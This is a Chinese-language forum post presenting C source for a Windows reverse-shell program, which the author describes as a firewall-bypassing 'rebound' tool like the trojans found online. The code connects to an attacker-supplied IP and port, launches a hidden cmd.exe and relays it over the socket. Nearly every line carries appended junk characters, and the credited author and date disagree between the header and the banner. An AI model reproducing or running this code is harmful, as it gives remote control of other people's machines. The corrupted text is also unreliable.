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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hx@E,  
$`/F5R!  
/* ============================== jt&rOPL7  
Rebound port in Windows NT 4eS(dPI0  
By wind,2006/7 0"`|f0}c  
===============================*/ <9?`zo$y  
#include 'S; l"  
#include $60]RCu  
iIg99c7/&9  
#pragma comment(lib,"wsock32.lib") ?yvjX90  
Fi#b0S  
void OutputShell(); U9q6m3#$  
SOCKET sClient; Za1VJ5-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,j\UZ  
t$*CyYb{@  
void main(int argc,char **argv) {s[,CUL0  
{ h/#s\>)T  
WSADATA stWsaData; X(K5>L>  
int nRet; ==~ lc;  
SOCKADDR_IN stSaiClient,stSaiServer; K_BF=C.k  
1?T^jcny:M  
if(argc != 3) T@DT|lTI  
{ `"j_]  
printf("Useage:\n\rRebound DestIP DestPort\n"); Iy {&T#e"  
return; (t-JGye>  
} eX{Tyd{  
@{8SC~ha  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4>(OM|X=9  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n0=[N'Tw3  
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stSaiClient.sin_family = AF_INET; Dad*6;+N  
stSaiClient.sin_port = htons(0); [moz{Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K#'{Ko  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {;Y2O.lV  
{  =u Ieur  
printf("Bind Socket Failed!\n"); Pb@9<NXm'  
return; KEvT."t  
} gA:N>w&<X  
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stSaiServer.sin_family = AF_INET; ~,P."  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #5W-*?H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n4Eqm33  
z8n]6FDiE  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4w0Y(y  
{ P/hIJV[  
printf("Connect Error!");  Q ,)}t  
return; Nn|~ :9#  
} /s^O M`5  
OutputShell(); 1$ ~W~O  
} a$'= a09  
Wq]Lb:&{a  
void OutputShell() M\ {W&o1!  
{ c{s%kVOzg  
char szBuff[1024]; bcZ s+FOPd  
SECURITY_ATTRIBUTES stSecurityAttributes; A{b?ZT~2]  
OSVERSIONINFO stOsversionInfo; Dz>v;%$S-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 66l$}+|Zzc  
STARTUPINFO stStartupInfo; xk8P4`;d$  
char *szShell; &+V|Ldh  
PROCESS_INFORMATION stProcessInformation; vFGFFA/K}N  
unsigned long lBytesRead; kkE1CHY  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z'L}x6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {(!j6|jK  
stSecurityAttributes.lpSecurityDescriptor = 0; F;^GhiQVS  
stSecurityAttributes.bInheritHandle = TRUE; $^4URH  
5//.q;z  
SB' $?Kh  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }J&[Uc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N!&$fhY)  
[]rg'9B2b  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <UcbBcW,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _e3kO6X  
stStartupInfo.wShowWindow = SW_HIDE; nWAx!0G  
stStartupInfo.hStdInput = hReadPipe; DU/WB  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MH,vn</Uw  
@ \(*pa  
GetVersionEx(&stOsversionInfo); Dk XB  
RwC1C(ZP  
switch(stOsversionInfo.dwPlatformId) #(G#O1+  
{ e8"?Qm7 J  
case 1: GY%48}7  
szShell = "command.com"; .oFkx*Ln  
break; l|P(S(ikh  
default: HO(9 )sK  
szShell = "cmd.exe"; U^$o< 2  
break; *@2?_b}A ^  
} m# ]VdO'f  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sA u ;i  
Vg)]F+E  
send(sClient,szMsg,77,0); ovn)lIs  
while(1) ^gpswhp 5  
{ *MFsq}\ $  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T 6g(,xPcL  
if(lBytesRead) O67.DEu^  
{ vUXas*s4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <e 'S'  
send(sClient,szBuff,lBytesRead,0); j7|r^  
} ;nbUbRb  
else yF}l.>7D  
{ hC[MYAaF  
lBytesRead=recv(sClient,szBuff,1024,0); aa1^cw 5}  
if(lBytesRead<=0) break; > ^b6\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gUoTOA,  
} "3"9sIZ(  
} U0/X!@F-  
g6kVHxh-  
return; Nn],sEs  
}
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